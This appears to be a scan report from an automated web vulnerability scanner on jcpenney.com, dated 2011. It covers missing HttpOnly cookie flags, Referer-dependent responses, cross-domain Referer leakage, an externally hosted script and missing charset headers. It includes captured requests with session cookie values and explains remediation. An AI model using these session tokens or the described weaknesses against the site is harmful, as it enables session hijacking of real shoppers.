HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: http://www.jcpenney.com/jcp/banners.asp?siteID=INT030&url=http://www.jcpstoreads.com/jcpenney/new_user_entry.aspx?adref=jcpenney&JCPReturnURL=http://www4.jcpenney.com/jcp/default.aspx Content-Type: text/html; charset=utf-8 Content-Length: 308 Expires: Sat, 26 Feb 2011 04:55:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:24 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPCluster=www4.jcpenney.com; domain=.jcpenney.com; expires=Sat, 26-Feb-2011 16:55:24 GMT; path=/jcp
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.jcpenney.com/jcp/banners.asp?siteID=INT030&url=http://www.jcpstoreads.com/jcpenney/new_user_entry.aspx ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jcp/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Content-Type: text/html; charset=utf-8 ntCoent-Length: 2212 Expires: Sat, 26 Feb 2011 04:54:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:54:53 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPSession=ShopperID=6c8c5cc71f94b44698d39d6a709a88d94xMnVNoVza3oxMnVNoVza3W200B4C6EEDAC69FA47D03F0AF88E45A1773E1105704&InitialShopperId=c8c5cc71f94b44698d39d6a709a88d94&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Set-Cookie: IsFirstTime=Y; domain=.jcpenney.com; path=/jcp Content-Length: 2212
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE>JCPenney</TITLE><SCRIPT LANGUAGE=Javascript SRC=Javascript/AmsScript.js></SCRIPT><SCRIPT LANGUAGE=VBScript SRC=VBScript ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Content-Type: text/html; charset=utf-8 ntCoent-Length: 45477 Vary: Accept-Encoding Expires: Sat, 26 Feb 2011 05:00:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 05:00:37 GMT Connection: close Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp Content-Length: 45477
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!--CEE P1 - Add Language markup for Web Accessibility --> <HTML lang="en"> <HEAD> <title>AddToBagPrompt</title> <meta cont ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: https://shop5.jcpenney.com/jcp/Login.aspx?Express=No&RetURL=Bag.aspx&cmResetCat=true&CmCatId=bag Content-Type: text/html; charset=utf-8 Content-Length: 225 Expires: Sat, 26 Feb 2011 05:01:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 05:01:18 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105705&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; domain=.jcpenney.com; expires=Thu, 31-Dec-2015 05:00:00 GMT; path=/jcp
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://shop5.jcpenney.com/jcp/Login.aspx?Express=No&RetURL=Bag.aspx&cmResetCat=true&CmCatId=bag">here</a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jcp/JCPRoute.aspx?Target=PREPRINT_HOME&cmResetCat=True&CmCatId=70676&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=; cmResetFlag=N; cmCat=EXTERNAL|G1_D6B_70676; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q; FlashCheck=1
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Location: http://www.jcpenney.com/jcp/banners.asp?siteID=INT030&url=http://www.jcpstoreads.com/jcpenney/new_user_entry.aspx?adref=jcpenney&JCPReturnURL=http://www4.jcpenney.com/jcp/default.aspx Content-Type: text/html; charset=utf-8 Content-Length: 308 Expires: Sat, 26 Feb 2011 04:55:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:55:24 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JCPCluster=www4.jcpenney.com; domain=.jcpenney.com; expires=Sat, 26-Feb-2011 16:55:24 GMT; path=/jcp
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.jcpenney.com/jcp/banners.asp?siteID=INT030&url=http://www.jcpstoreads.com/jcpenney/new_user_entry.aspx ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /jcp/CustomerServiceSub.aspx?DeptID=12476&CatTyp=CSR&CatID=16108&CmCatId=70676|mp|freeship4u&mscssid=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/freeship4u.aspx?refpagename=X2%252Easpx&refdeptid=70676&refcatid=70676&cmAMS_T=X2&cmAMS_C=BANNER&cmAMS_V=X2V1&CmCatId=70676 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02/25/2011&ShopperType=XGN255; IsFirstTime=Y; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response 1
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Content-Type: text/html; charset=utf-8 ntCoent-Length: 47425 Expires: Sat, 26 Feb 2011 04:54:58 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 04:54:58 GMT Connection: close Vary: Accept-Encoding Set-Cookie: IsFirstTime=; domain=.jcpenney.com; path=/jcp Content-Length: 47425
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following link to another domain:
http://www.modernbride.com/?cmAMS_T=G1&cmAMS_C=D9
Request
GET /jcp/getjcpheaderc.aspx?function=getmenuitems&ver=20110225&fx=3 HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/x2.aspx?DeptID=70676&CatID=70676&cmAMS_T=G1&cmAMS_C=D6B&mscssid=61594d316179a4f548f577dab343a8538xMnVNoVza3oxMnVNoVza3W200B0A67BD19FE0DDB3BC3FE02796C1DAD4B1105702&cmAMS_V= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 10:04:47 GMT Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Sat, 26 Feb 2011 04:54:52 GMT Connection: close Content-Length: 92490
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Cache-Control: private Expires: Sat, 26 Feb 2011 10:06:25 GMT Content-Type: text/html; charset=utf-8 Date: Sat, 26 Feb 2011 04:57:28 GMT Connection: close Vary: Accept-Encoding Content-Length: 92490
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /jcp/ HTTP/1.1 Host: www4.jcpenney.com Proxy-Connection: keep-alive Referer: http://www.jcpenney.com/jcp/default.aspx Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Type: text/html; charset=utf-8 Cteonnt-Length: 33215 Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:53:27 GMT Date: Sat, 26 Feb 2011 04:53:27 GMT Connection: close Vary: Accept-Encoding Content-Length: 33215
<SCRIPT LANGUAGE=Javascript> <!-- function PopupWindow(pagename) { var popWind;
//Close the popup window if it's currently open if (popWind && (navigator.appName == "Microsoft Interne ...[SNIP]... </script> <script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script> ...[SNIP]...
GET /jcp/ HTTP/1.1 Host: www5.jcpenney.com Proxy-Connection: keep-alive Referer: http://www4.jcpenney.com/jcp/XGN.aspx?n=4294953363&catsel=4294953363--comforters+++bedspreads&deptid=70750&pcatid=70750&catid=72384&cattyp=SAL&dep=BEDDING&pcat=BEDDING&cat=Sale&refpagename=Default%252Easpx&refdeptid=&refcatid=&cmAMS_T=T1&cmAMS_C=C3&CmCatId=homepage Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: IsFirstTime=; JCPCluster=www4.jcpenney.com; JCPSession=ShopperID=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ShopperType=XGN255&InitialShopperId=0f3720e7c71e45edb02b68f7b004135c&DateShopperIdAssigned=02%2F25%2F2011; stop_mobi=yes; AKJCP=3fBztb4pZ7Tf6L2HhgR4EKVxTpNnQSz5KgvkmBSB09OHel5cMR4Pj8Q
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP="CAO DSP COR CURa DEVa PSAa IVAa OURa IND UNI NAV STA OTC" Pragma: no-cache Content-Type: text/html; charset=utf-8 Cteonnt-Length: 33215 Vary: Accept-Encoding Cache-Control: no-cache Expires: Sat, 26 Feb 2011 04:57:06 GMT Date: Sat, 26 Feb 2011 04:57:06 GMT Connection: close Content-Length: 33215
<SCRIPT LANGUAGE=Javascript> <!-- function PopupWindow(pagename) { var popWind;
//Close the popup window if it's currently open if (popWind && (navigator.appName == "Microsoft Interne ...[SNIP]... </script> <script type="text/javascript" src="http://media.richrelevance.com/rrserver/js/0.4/p13n.js"></script> ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.